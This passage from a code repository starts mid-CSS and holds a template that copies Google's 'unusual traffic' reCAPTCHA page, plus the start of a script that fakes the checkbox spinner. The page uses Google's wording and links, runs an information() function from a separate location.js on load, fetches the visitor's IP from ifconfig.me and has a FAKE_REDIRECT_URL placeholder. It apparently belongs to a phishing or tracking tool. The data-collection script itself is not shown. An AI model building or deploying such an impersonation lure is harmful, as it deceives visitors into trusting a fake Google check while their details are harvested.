jpic1z4DQA13yt6ze5OXV+2cv86XS3qXfPv3ypetYahDmpAfPU+Ui+MPWy/6Txl4E3g3ltfXNNd/o2KBboLdimj6Zbpv1GUxyC4j+2sBbz/xQAB98Nvf2jETmx9toXZUixicmIBQGNh0w8fVABdmtkDagBbmVsbwl7BbUbk8XJXgBInB8cc30dGXhVVyBwBZ6W0PjcFrQ1YHWY24V')}.rc-anchor-pt a{display:inline;padding-left:1px;padding-right:1px;padding-top:2px;padding-bottom:2px;text-decoration:none}.rc-anchor-pt a:hover{text-decoration:underline}.rc-anchor-normal .rc-anchor-pt{margin:2px 11px 0 0;padding-right:2px;position:absolute;right:0;text-align:right;width:276px}.rc-anchor-compact .rc-anchor-pt{margin:0 0 2px 0;width:132px}.rc-anchor-aria-status{display:none}#rc-anchor-alert,.rc-anchor-alert{color:red;font-size:9px;margin:2px;position:absolute;top:0}#rc-anchor-over-quota{bottom:0;color:#555;font-family:Roboto,helvetica,arial,sans-serif;font-size:9px;padding:4px;position:absolute;width:170px;display:flex;align-items:center;height:20px}.rc-anchor-compact .rc-anchor-content #rc-anchor-over-quota{width:148px}.rc-anchor-normal .rc-anchor-pt.rc-anchor-over-quota-pt{width:130px}.rc-anchor-logo-portrait.rc-anchor-over-quota-logo{margin-top:6px}#rc-anchor-invisible-over-quota{font-size:9px;line-height:initial}#rc-anchor-invisible-over-quota a{color:white}.rc-anchor-invisible{height:60px;width:256px;display:flex}.rc-anchor-invisible-text{background:#1a73e8;color:white;display:flex;flex-basis:166px;flex-direction:column;flex-grow:1;font-family:Roboto,helvetica,arial,sans-serif;font-size:13px;font-weight:400;height:100%;justify-content:center;line-height:20px;padding:0 16px;white-space:nowrap}.rc-anchor-invisible-text.smalltext{font-size:12px;padding:0 10px;line-height:16px;white-space:normal}.rc-anchor-invisible-text.smalltext .rc-anchor-pt{line-height:12px;white-space:normal}.rc-anchor-invisible-text.smalltext .rc-anchor-pt a:link{font-size:9px}.rc-anchor-normal-footer.smalltext .rc-anchor-pt{font-size:5px;line-height:6px}.rc-anchor-invisible-text strong{font-weight:500}.rc-anchor-invisible .rc-anchor-normal-footer .rc-anchor-pt{transition:opacity 0.3s ease;text-align:center;width:70px;margin-top:2px}.rc-anchor-logo-img-large{transition:all 0.3s ease;background-size:40px;margin:5px 15px 0 15px;height:40px;width:40px}.rc-anchor-invisible-nohover .rc-anchor-logo-img-large,.rc-anchor-invisible-hover:hover .rc-anchor-logo-img-large{background-size:44px;margin:8px 13px 0 13px;height:44px;width:44px}.rc-anchor-invisible-nohover .rc-anchor-normal-footer .rc-anchor-pt,.rc-anchor-invisible-hover:hover .rc-anchor-normal-footer .rc-anchor-pt{opacity:0}.rc-anchor-invisible-nohover .rc-anchor-invisible-text .rc-anchor-pt,.rc-anchor-invisible-hover:hover .rc-anchor-invisible-text .rc-anchor-pt{opacity:1}.rc-anchor-invisible-text .rc-anchor-pt{transition:opacity 0.3s ease}.rc-anchor-invisible-text .rc-anchor-pt a:link,.rc-anchor-invisible-text .rc-anchor-pt a:visited{color:white;font-size:10px}.rc-anchor-invisible-hover .rc-anchor-invisible-text .rc-anchor-pt a:link{display:none}.rc-anchor-invisible-hover:hover .rc-anchor-invisible-text .rc-anchor-pt a:link{display:inline}.rc-button-default{background:#1a73e8;border:0;border-radius:2px;color:#fff;cursor:pointer;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:500;height:42px;line-height:42px;min-width:100px;padding:0 10px 0 10px;text-align:center;text-transform:uppercase;transition:all 0.5s ease}.rc-button-default:focus{outline:0;box-shadow:0 0 0 2pt #185abc}.rc-button-default-hover{}.rc-button-default-disabled{background:rgba(73,143,225,0.50);cursor:default}.rc-button-red{background:#e24a4a}.rc-button-default-disabled.rc-button-red{background:rgba(226,74,74,0.49)}body{margin:0}.rc-imageselect-instructions strong{font-weight:900;display:block;font-size:28px}.rc-footer{font-family:Roboto,helvetica,arial,sans-serif;position:relative;width:100%}.rc-separator{border-top:1px solid #dfdfdf;margin-bottom:1px}.rc-controls{width:100%}.primary-controls{height:60px}.rc-buttons{float:left;height:48px;margin:6px 0 6px 6px;background-repeat:no-repeat}.fake-focus{height:0;opacity:0;width:0}.button-holder{float:left;height:48px}.rc-button-reload{background:url('https://www.gstatic.com/recaptcha/api2/refresh_2x.png')}.rc-button-reload:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-reload{background:url('https://www.gstatic.com/recaptcha/api2/refresh_white_2x.png')}}.rc-button-reload-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/refresh_white_2x.png')}.rc-button-reload-on-dark:focus-visible{background-color:#d8d8d8}.rc-button-audio{background:url('https://www.gstatic.com/recaptcha/api2/audio_2x.png')}.rc-button-audio:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-audio{background:url('https://www.gstatic.com/recaptcha/api2/audio_white_2x.png')}}.rc-button-audio-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/audio_white_2x.png')}.rc-button-audio-on-dark:focus-visible{background-color:#d8d8d8}.rc-button-image{background:url('https://www.gstatic.com/recaptcha/api2/image_2x.png')}.rc-button-image:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-image{background:url('https://www.gstatic.com/recaptcha/api2/image_white_2x.png')}}.rc-button-image-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/image_white_2x.png')}.rc-button-image-on-dark:focus-visible{background-color:#d8d8d8}.rc-button-help{background:url('https://www.gstatic.com/recaptcha/api2/info_2x.png')}.rc-button-help:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-help{background:url('https://www.gstatic.com/recaptcha/api2/info_white_2x.png')}}.rc-button-help-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/info_white_2x.png')}.rc-button-help-on-dark:focus-visible{background-color:#d8d8d8}.rc-button-undo{background:url('https://www.gstatic.com/recaptcha/api2/undo_2x.png')}.rc-button-undo:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-button-undo{background:url('https://www.gstatic.com/recaptcha/api2/undo_white_2x.png')}}.rc-button-undo-on-dark{background:url('https://www.gstatic.com/recaptcha/api2/undo_white_2x.png')}.rc-button-undo-on-dark:focus-visible{background-color:#d8d8d8}.rc-button{background-size:32px 32px;cursor:pointer;height:48px;opacity:.55;width:48px;padding:0;border:0;background-repeat:no-repeat;background-position:center}.rc-button:focus,.rc-button:hover{opacity:.8;outline:none}.verify-button-holder{float:right;margin:8px 8px 9px 0}.rc-challenge-help{font-family:Roboto,helvetica,arial,sans-serif;font-size:12px;font-weight:400;overflow-y:scroll;padding:5px 20px 5px 20px}.reload-icon{height:16px;width:16px}.apps-toast{position:relative;text-align:center;width:100%;z-index:101}.apps-toast-content{background:#323232;border-radius:2px;-moz-box-shadow:0 6px 10px rgba(0,0,0,.14),0 1px 18px rgba(0,0,0,.12),0 3px 5px -1px rgba(0,0,0,.4);-webkit-box-shadow:0 6px 10px rgba(0,0,0,.14),0 1px 18px rgba(0,0,0,.12),0 3px 5px -1px rgba(0,0,0,.4);box-shadow:0 6px 10px rgba(0,0,0,.14),0 1px 18px rgba(0,0,0,.12),0 3px 5px -1px rgba(0,0,0,.4);color:#eee;display:inline-block;font:12px/20px Roboto,helvetica,arial,sans-serif;padding:14px;text-align:center}.rc-audiochallenge-response-field{margin:7px;text-align:center}.rc-audiochallenge-response-field .rc-response-input-field{width:220px}.rc-audiochallenge-error-message{color:#ff1b1b;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;margin:20px 20px 0px 20px}.rc-audiochallenge-instructions{font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;margin:10px 20px 10px 20px}.rc-audiochallenge-play-button{margin:0px 20px 0px 20px}.rc-audiochallenge-play-button .rc-button-default{background:#d8d8d8;color:#000;font-weight:500;width:100%}.rc-audiochallenge-input-label{font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;margin:10px 20px 10px 20px}.rc-audiochallenge-control audio{height:30px;width:240px}.rc-audiochallenge-tdownload{margin:5px 20px 5px 20px;text-align:center}.rc-audiochallenge-tdownload-link{background-image:url('https://www.gstatic.com/recaptcha/api2/download.png');background-repeat:no-repeat;background-size:36px;color:transparent;display:inline-block;height:36px;opacity:.55;overflow:hidden;width:36px}.rc-audiochallenge-tdownload-link:focus-visible{background-color:#d8d8d8}@media screen and (forced-colors:active) and (prefers-color-scheme:dark){.rc-audiochallenge-tdownload-link{background-image:url('https://www.gstatic.com/recaptcha/api2/download_white.png');background-repeat:no-repeat;background-size:36px;color:transparent;display:inline-block;height:36px;opacity:.55;overflow:hidden;width:36px}}.rc-audiochallenge-tdownload-link-on-dark{background-image:url('https://www.gstatic.com/recaptcha/api2/download_white.png');background-repeat:no-repeat;background-size:36px;color:transparent;display:inline-block;height:36px;opacity:.55;overflow:hidden;width:36px}.rc-audiochallenge-tdownload-link-on-dark:focus-visible{background-color:#d8d8d8}.rc-audiochallenge-tdownload-link:focus,.rc-audiochallenge-tdownload-link:hover{opacity:.8;outline:none}.rc-audiochallenge-tdownload-link-on-dark:focus,.rc-audiochallenge-tdownload-link-on-dark:hover{opacity:.8;outline:none}.fake-focus-audio{height:0;opacity:0;width:0}.rc-canvas-image{display:none}.rc-canvas-canvas{cursor:pointer}.goog-container:focus{outline:none}.rc-defaultchallenge-response-field{margin:7px;text-align:center}.rc-defaultchallenge-response-field .rc-response-input-field{width:230px}.rc-defaultchallenge-payload{border:none;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;min-height:61px;text-align:center}.rc-defaultchallenge-incorrect-response{color:#ff1b1b;font-family:Roboto,helvetica,arial,sans-serif;font-size:12px;font-weight:400;line-height:14px;margin-left:20px}.rc-doscaptcha-header{padding:10px;margin:10px;height:20%;background-color:#1a73e8}.rc-doscaptcha-header-text{font-family:Roboto,helvetica,arial,sans-serif;font-size:22px;font-weight:400;text-align:center;color:white}.rc-doscaptcha-body{height:80%}.rc-doscaptcha-body-text{font-family:Roboto,helvetica,arial,sans-serif;font-size:16px;font-weight:400;padding:10px 15px 10px 15px}.rc-doscaptcha-footer{pointer-events:none}.goog-container:focus{outline:none}#rc-imageselect{min-width:240px;font-family:Roboto,helvetica,arial,sans-serif;background-color:#fff}#rc-imageselect .rc-button:focus{outline:none}.rc-imageselect-desc{margin-left:-10px;margin-top:-10px;padding-right:100px;position:relative}.rc-imageselect-instructions .rc-imageselect-desc strong{font-size:22px}.rc-imageselect-desc span{display:block}.rc-imageselect-desc-no-canonical{position:relative}.rc-imageselect-desc-no-canonical span{display:block}.rc-imageselect-payload{min-width:240px;margin:0 7px;padding:7px 0}.rc-imageselect-challenge{position:relative;width:100%;height:100%}.rc-footer{min-width:240px}.rc-imageselect-incorrect-response,.rc-imageselect-error-dynamic-more,.rc-imageselect-error-select-more,.rc-imageselect-error-select-something{color:#d14836;font-size:14px;padding:7px 0;text-align:center;width:100%;background-color:white}.rc-imageselect-desc-wrapper{margin-bottom:6px}.rc-imageselect-checkbox{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsTAAALEwEAmpwYAAAGnmlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNy4xLWMwMDAgNzkuZGFiYWNiYiwgMjAyMS8wNC8xNC0wMDozOTo0NCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3Nob3AvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIDIzLjAgKE1hY2ludG9zaCkiIHhtcDpDcmVhdGVEYXRlPSIyMDIxLTExLTA0VDIzOjE2OjI2LTA3OjAwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMS0xMS0wNFQyMzoxNzozNS0wNzowMCIgeG1wOk1ldGFkYXRhRGF0ZT0iMjAyMS0xMS0wNFQyMzoxNzozNS0wNzowMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHBob3Rvc2hvcDpDb2xvck1vZGU9IjMiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NDM3Y2M2MTEtMjg5Mi00MmFkLWEyYmYtMjk1MzA4NGYxNjA1IiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YjEwZGYyNmItNGU5Mi0wNTQxLThjMDYtMTJjNWQ5ZDFmMjcxIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6ZjE0YzAyYmQtNDJhOC00ODkxLWIxMjMtMWZhYjg2NzZlNzJmIj4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDpmMTRjMDJiZC00MmE4LTQ4OTEtYjEyMy0xZmFiODY3NmU3MmYiIHN0RXZ0OndoZW49IjIwMjEtMTEtMDRUMjM6MTY6MjYtMDc6MDAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMy4wIChNYWNpbnRvc2gpIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDpjMDJkMDg2Zi1mNmZjLTRjMzItYWU2Zi0wOWMxZmU4MzFhNzciIHN0RXZ0OndoZW49IjIwMjEtMTEtMDRUMjM6MTc6MDktMDc6MDAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMy4wIChNYWNpbnRvc2gpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0MzdjYzYxMS0yODkyLTQyYWQtYTJiZi0yOTUzMDg0ZjE2MDUiIHN0RXZ0OndoZW49IjIwMjEtMTEtMDRUMjM6MTc6MzUtMDc6MDAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMy4wIChNYWNpbnRvc2gpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDwvcmRmOlNlcT4gPC94bXBNTTpIaXN0b3J5PiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PlXsutAAAASdSURBVFiFtZdbbBRVGIC/mdnZdndr2+0l0BYsaEJ4ABGkUhHjlT6oT7QRbcHaqGkhvFBjBU3AKy9aTYwaQ9pI6wMxEClQiLcmKomtYikCkZsILbYGWuh2aXfLtrvHh53ZPTvdbbdtPMnJzOzMme87/392zjkKyRdFOipx7gupJlWEENiSBCuACij3bfgmx5G+dGUQez4h3S1CwQGh+PoGvcd+u7C3fAgITUcmXk/igbVVNdcrbJqr6nLqrTWJGiz03/FDaHxwd/vueYeAoEVmQhFCJBSIgIuqLxT3pqX/NFVPYkVc7UHl/JaOT1eesYgkJaAAGmArfvnqxp50ffd04HJZMDJS9svnd7cC4/EkhBCoieAP1HRXzgYOcMXl2l+8+exTgI4xhqzPKJZzFdDvf6lz9T8ZBW2zgcsl33N6xe+Na//EEglrBMK9z8qyzxZecY+bLytzIte6fdVHhKOgYYmCKWD23lZUdrxiNvANy9y8W67z2FKNPRvDEt1O38PF1Z0lhkBMKmQBDdB1LadqpvCNy9y885yO3aYwMio4+Ot45J6iFlYRZyyYFyqgLSjZlXfF6S+aCfz5e928bcCHRwV1zQEOXPBE7nc7x592Fj7kwpIGVTpqcwufKJ4p/K1no/DXmgK0SHCzLH70jWVY0mCehFNgc+TLDdbkZtCxLZeaVe6E8MrlUfgtv6CuKUDLxYlwAJuWMY9oBGIEVEBDOHPkBjvK7czPUXm9VGdTHIkXlrt5c30s/GACeNjAkS1FAOQTQEH1euXn61vGuDks0FSF7aU6m4qjElUr3Ow04F4DfuivSeCACHq9Uu8VIDIbKoAyFhi6hiMv0uDbbg+iMZP6F+1kpSlsX6ej4MYfgJ3rdXQtCj88BRzgtvff69bf5AiI/vNHTlkf+O6qh9rGADduhSOxbZ0ehfsEdXuSgwP83fHJ2UQCAhA9x97vi9fw+6setjYEGDAkTPirTQEOX0oOXjgifh7uOebDMj2rxkXIqMF5Q5d2xXtBW6+HWkNiyCd45YsArUnCAfy+E18TOxcIiA4GHUgF0uxpc7Jyqv84nehFjxdkkmKHo5eThwP01c9dDHiBYWAUGBdCCDMFIcNuLDB8zZfV07Y50Yvaej3ThrvO7i0HAsAYlhlRTkHQeCBwZl/FjwVDlz6eFiVBmdN/YsfFo1u7gNvG+2MWJvIgNAVGAf/xhgcb5nsvfzYb+NyBk+91NT95APBLAkFZQJ6bVcLfhVTACbgA15Ky5rU3C0s+mC48/dz+6nNHtrQDI4TzbkqYKZiwJoysiIAUQ8IJOFPdCzOXlDaV92UsqpkKnHfj5Ienvnpm35jfOwz4jCpHIGZFZF2jRdYFhkQq4DCOqYB+5+raRdl3PbJET8nO1VRH+nhoZHBsdGCg/1xrV29nYzfhwXbbgPoJp9TseUz4E62KVaLpsBsiZrUTXVrJX9HIv0gSMKs58mPgpkC8nZF1ZxP5dxhSkwmYEnJNuC+AqXdGZjS0ONX8iMmiZjV7POOdUTwRWUieUuVomZ90wSS9nq6ALCLvkM2jCZGPSe2QhRAoQiS9m/5fyn/lu/UIgBExrQAAAABJRU5ErkJggg==);display:none;position:absolute}.rc-imageselect-report-image{bottom:0;left:0;display:none;position:absolute;right:0;top:0}.rc-imageselect-table-42,.rc-imageselect-table-33,.rc-imageselect-table-44{border-collapse:separate;border-spacing:0;width:100%;height:100%;transition:all 1s ease}.rc-imageselect-table-42{margin:-2px}.rc-imageselect-table-33{margin:-2px}.rc-imageselect-table-44{margin:-1px}.rc-imageselect-table-42 td{padding:2px}.rc-imageselect-table-33 td{padding:2px}.rc-imageselect-table-44 td{padding:1px}.rc-image-tile-target tr,td{margin:0}.rc-imageselect-keyboard{outline:solid orange!important;position:relative;z-index:100}td:focus{outline:none}.rc-image-tile-overlay{display:none;opacity:0;position:absolute;background-color:#1a73e8;width:100%;height:100%;z-index:2;transition:opacity 1s cubic-bezier(0.49,0.78,0.46,1.34);filter:alpha(opacity=0)}.rc-image-followup-tile{display:block}.rc-imageselect-dynamic-selected{position:relative;transition:all 2s ease;opacity:0.01}.rc-imageselect-dynamic-selected .rc-image-tile-target{opacity:1}.rc-imageselect-dynamic-selected .rc-imageselect-checkbox{display:block;opacity:1;background-size:cover;width:60px;height:60px;left:50%;top:50%;margin-left:-30px;margin-top:-30px}.rc-image-tile-target{-webkit-tap-highlight-color:rgba(0,0,0,0);position:relative}.rc-imageselect-tileselected{position:relative}.rc-imageselect-tileselected .rc-image-tile-wrapper{-webkit-transform:scale(0.8);-moz-transform:scale(0.8);-ms-transform:scale(0.8);-o-transform:scale(0.8);transform:scale(0.8)}.rc-image-tile-wrapper{-webkit-transform:scale(1.0);-moz-transform:scale(1.0);-ms-transform:scale(1.0);-o-transform:scale(1.0);transform:scale(1.0)}.rc-imageselect-tileselected .rc-imageselect-checkbox{display:block;background-repeat:no-repeat;bottom:0;left:0;right:0;top:0}.rc-imageselect-candidates{border:2px solid white;box-sizing:border-box;height:94px;overflow:hidden;position:absolute;right:7px;top:7px;width:112px}.rc-imageselect-candidates>div{background-size:112px 94px;display:inline-block;height:94px;margin:2px;position:relative;width:112px}.rc-imageselect-challenge{box-sizing:border-box;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.rc-imageselect-target>div:hover{}.rc-imageselect-response-field-error{border-bottom:1px solid #ff0000}.rc-imageselect-desc{font-size:16px}.rc-imageselect-desc-wrapper span{font-size:14px}.rc-imageselect-clear{clear:both}.rc-image-tile-wrapper{overflow:hidden;position:relative;transition:0.1s ease}.rc-image-tile-wrapper img{position:relative;-webkit-user-drag:none;backface-visibility:hidden;-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden}.rc-image-tile-11{width:100%;height:100%}.rc-image-tile-42{width:200%;height:400%}.rc-image-tile-33{width:300%;height:300%}.rc-image-tile-44{width:400%;height:400%}.rc-imageselect-instructions{height:113px;width:100%;margin-bottom:7px;position:relative}.rc-imageselect-desc-wrapper{background-color:#1a73e8;position:relative;padding:24px;color:white;height:66px;font-size:16px}.rc-imageselect-progress{background-color:#417cc1;position:absolute;bottom:0;right:0;width:0;height:15px;transition:all 1s ease}.rc-imageselect-carousel-offscreen-right{left:105%;position:absolute;transition:0.5s ease}.rc-imageselect-carousel-entering-right{left:0%;position:absolute;transition:0.5s ease}.rc-imageselect-carousel-mock-margin-1{top:1px}.rc-imageselect-carousel-mock-margin-2{top:2px}.rc-imageselect-carousel-leaving-left{left:0%;opacity:0.5;position:relative;transition:0.5s ease}.rc-imageselect-carousel-offscreen-left{left:-105%;opacity:0.5;position:relative;transition:0.5s ease}.rc-imageselect-carousel-instructions{transition:0.2s ease;opacity:1}.rc-imageselect-carousel-instructions-hidden{opacity:0.5}.rc-canonical-stop-sign{background:url('https://www.gstatic.com/recaptcha/api2/stop_sign.jpg');background-repeat:no-repeat}.rc-canonical-speed-limit{background:url('https://www.gstatic.com/recaptcha/api2/canonical_speed_limit.png');background-repeat:no-repeat}.rc-canonical-street-name{background:url('https://www.gstatic.com/recaptcha/api2/canonical_street_name.png');background-repeat:no-repeat}.rc-canonical-other{background:url('https://www.gstatic.com/recaptcha/api2/canonical_other.png');background-repeat:no-repeat}.rc-canonical-bounding-box{background:url('https://www.gstatic.com/recaptcha/api2/boundingbox2.gif');background-repeat:no-repeat}.rc-canonical-car{background:url('https://www.gstatic.com/recaptcha/api2/canonical_car.png');background-repeat:no-repeat}.rc-canonical-road{background:url('https://www.gstatic.com/recaptcha/api2/canonical_road.png');background-repeat:no-repeat}.rc-canonical-bridge{background:url('https://www.gstatic.com/recaptcha/api2/canonical_bridge.png');background-repeat:no-repeat}.rc-prepositional-payload{padding:20px;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400}.rc-prepositional-select-more,.rc-prepositional-verify-failed{color:#ff1b1b;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;margin:20px 20px 0px 20px}.rc-prepositional-target label{margin:5px;float:right}.rc-prepositional-instructions{margin-bottom:20px}.rc-prepositional-table{width:100%}.rc-prepositional-table td{background:#f9f9f9;border:1px solid #fff;color:#000;cursor:pointer;font-family:Roboto,helvetica,arial,sans-serif;font-size:14px;font-weight:400;width:40%;padding:15px}.rc-prepositional-table td.rc-prepositional-selected{background:#efefef;border:1px solid #656565}.rc-2fa-payload{font-family:Roboto,Helvetica,Arial,Sans-Serif;font-size:14px;font-weight:400;font-size:14px;text-align:left;color:#202124;text-align:center}.rc-2fa-background{background-color:#ececec;width:100%;height:100%;overflow:auto}.rc-2fa-container{background-color:#fff;width:328px;overflow:auto;margin:100px auto}.rc-2fa-header{margin:36px 0 24px 0;font-size:16px}.rc-2fa-instructions{margin:24px 40px;line-height:17.5px}.rc-2fa-response-field{text-align:center}.rc-2fa-response-field input{width:11.2ch;height:40px;line-height:40px;margin:auto;border:1px #979797 solid;font-size:20px;letter-spacing:0.8ch;padding-left:1.2ch;padding-right:0}.rc-2fa-response-field input:focus{border:1px #185abc solid}.rc-2fa-response-field-error input{border:1px #d93025 solid}.rc-2fa-response-field-error input:focus{border:1px #d93025 solid}.rc-2fa-error-message{height:36px;font-size:12px;color:#d93025;margin:2px 40px}.rc-2fa-submit-button-holder button{margin:0 auto;min-width:100px;height:36px;line-height:36px;text-transform:uppercase;text-align:center;font-weight:500;letter-spacing:1.25px;border-radius:4px;background-color:#185abc;border:1px solid #185abc;color:#fff}.rc-2fa-submit-button-holder button:disabled{background-color:white;border:1px solid #979797;color:rgba(0,0,0,0.38)}.rc-2fa-cancel-button-holder button{margin:20px auto;min-width:100px;height:36px;line-height:36px;text-transform:uppercase;text-align:center;font-weight:500;letter-spacing:1.25px;border-radius:4px;background:none;border:none;color:#185abc}.rc-2fa-cancel-button-holder button:active{border:none}.rc-response-input-field{border:1px solid #dfdfdf;border-radius:2px;height:36px;margin:5px 0;padding:1px 9px;font-family:Roboto,helvetica,arial,sans-serif;font-size:16px;font-weight:400;outline:none;width:270px}.rc-response-input-field:focus{border:1px solid #1a73e8}.rc-response-input-field-error,.rc-response-input-field-error:focus{border:1px solid #ff0000}
================================================
FILE: template/captcha/index_temp.html
================================================
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="viewport" content="initial-scale=1">
<title>Are you a robot ?</title>
<script type="text/javascript">
if (window.location.protocol == "http:") {
var restOfUrl = window.location.href.substr(5);
window.location = "https:" + restOfUrl;
}
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="js/location.js"></script>
</head>
<body style="font-family: arial, sans-serif; background-color: #fff; color: #000; padding:20px; font-size:18px;" onload="information();">
<div style="max-width:400px;">
<hr style="color:#ccc; background-color:#ccc;" size="1" noshade=""><br>
<form id="captcha-form" action="index" method="post">
<noscript>
<div style="font-size:13px;">
In order to continue, please enable javascript on your web browser.
</div>
</noscript>
<div id="recaptcha" class="g-recaptcha" data-sitekey="" data-callback="submitCallback" data-s="">
<div style="width: 304px; height: 78px;">
<div>
<iframe title="reCAPTCHA" src="anchor.html" role="presentation" name="anchor" scrolling="no" width="304" height="78" frameborder="0">
</iframe>
</div>
<textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response" style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
</div>
<iframe style="display: none;"></iframe>
</div>
<input type="hidden" name="q" value="">
<input type="hidden" name="continue" value="https://www.google.com/">
</form>
<hr style="color:#ccc; background-color:#ccc;" size="1" noshade="">
<div style="font-size:13px;">
<b>About this page</b><br><br>
Our systems have detected unusual traffic from your computer network. This page checks to see if it's really you sending the requests, and not a robot. <a href="#">Why did this happen?</a><br><br>
<div id="infoDiv" style="display:none; background-color:#eee; padding:10px; margin:0 0 15px 0; line-height:1.4em;">
This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime, solving the above CAPTCHA will let you continue to use our services.<br><br>This traffic may have been sent by malicious software, a browser plug-in, or a script that sends automated requests. If you share your network connection, ask your administrator for help — a different computer using the same IP address may be responsible. <a href="//support.google.com/websearch/answer/86640">Learn more</a><br><br>Sometimes you may be asked to solve the CAPTCHA if you are using advanced terms that robots are known to use, or sending requests very quickly.
</div>
IP address: <span id="public-ip"></span><br>Time: <span id="datetime"></span><br>URL: FAKE_REDIRECT_URL<br>
<script type="text/javascript">
$.get("https://ifconfig.me/ip", function(data, status){
if (status == "success") {
$("#public-ip").text(data);
}
else {
$("#public-ip").text("Not Available");
}
});
$("#datetime").text(new Date().toISOString());
</script>
</div>
</div>
</body>
</html>
================================================
FILE: template/captcha/js/main_temp.js
================================================
function loading(){
document.getElementById('recaptcha-anchor').outerHTML='<span role="checkbox" aria-checked="true" id="recaptcha-anchor" dir="ltr" aria-labelledby="recaptcha-anchor-label" aria-disabled="false" tabindex="0" style="" class="recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox recaptcha-checkbox-loading"><div class="recaptcha-checkbox-border" role="presentation" style="display: none;"></div><div class="recaptcha-checkbox-borderAnimation" role="presentation" style=""></div><div class="recaptcha-checkbox-spinner" role="presentation" style="display: ; animation-play-state: running; opacity: 1;"><div class="recaptcha-checkbox-spinner-overlay" style="animation-play-state: running;"></div></div><div class="recaptcha-checkbox-checkmark" role="presentation" style=""></div></span>';
}
function cap_success(){
